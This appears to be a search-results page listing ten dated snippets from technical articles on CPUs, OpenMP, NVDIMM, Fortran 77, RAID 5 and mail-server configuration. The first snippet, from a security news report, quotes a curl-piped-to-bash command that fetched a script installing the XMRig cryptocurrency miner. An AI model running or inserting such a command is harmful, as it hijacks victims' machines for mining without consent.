24%
30.01.2020
'curl -sL4 http://ix.io/1XQa | bash;
(which downloads a bash script that would install the XMRig cryptocurrency miner).
The issue was discovered by security firm Bad Packets LLC. Bad Packets also found
24%
12.09.2013
boasted an impressive 291 million transistors, 10,034 times the original [2].
The first CPU to break the 3GHz barrier was an Intel Pentium 4 variant released in 2002 [3], but disregarding unreliable
24%
07.11.2011
something like the following code snippet:
#pragma omp name_of_directive [clauses]
Compilers that don’t support OpenMP, such as older versions of GCC before version 4.2, will just ignore the compiler
24%
22.09.2016
that fit the sockets for DDR4 SDRAM DIMMs. However, motherboards need a BIOS that supports the modules. JEDEC envisages two approaches: NVDIMM-N backs up the content of its DRAM in case of a power outage
24%
20.10.2016
+
1 X4 + X5 + X6
...
By default, Fortran 77 defines variables starting with i
, j
, k
, l
, m
, and n
as integers (also the uppercase equivalents). As a result, they are used as loop counters
24%
21.01.2020
and parity layout of a typical RAID 5 volume.
If you were to do the math, you have four 7TB drives with one drive’s worth of capacity hosting the parity, so the RAID array will produce (7 × 4) - 7 = 21TB
24%
17.02.2015
and – importantly – the string ESMTP (Listing 1).
Listing 1
Unfiltered SMTP Connection
$ telnet mail.sys4.de 25
220-mail.sys4.de ESMTP Postfix
EHLO client.example.com
250-mail.sys4.de
250-PIPELINING
24%
08.10.2015
:/etc/smtpd_remote.db
04 listen on 192.0.2.15 inet4 port 25 hostname post.example.org tls pki post
05 listen on 192.0.2.15 inet4 port 587 hostname mail.example.org tls-require pki mail auth tag remote
06 listen
24%
18.07.2012
are everywhere, I still don’t like to waste capacity except on KC and the Sunshine Band MP4s). Once I’m happy with the installation, I follow just a few simple steps:
cd
to the root directory of the toolkit
24%
17.06.2017
+ X3 +
1 X4 + X5 + X6
-----------------------------
11111111112222222222
12345678901234567890123456789
By default, F77 defines variables starting with (upper- or lowercase) i, j
